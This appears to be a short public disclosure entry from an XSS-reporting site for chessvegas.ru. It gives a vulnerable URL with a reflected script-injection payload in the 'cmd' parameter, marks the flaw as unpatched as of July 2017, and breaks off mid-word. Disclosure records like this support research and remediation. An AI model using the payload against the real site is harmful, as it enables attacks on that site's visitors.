chessvegas.ru XSS vulnerability

Vulnerable URL: http://chessvegas.ru/cgi/chess/chess.pl?cmd='-alert'XSSPOSED'-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 400459 VIP website status:| No Check chessvegas.ru SS...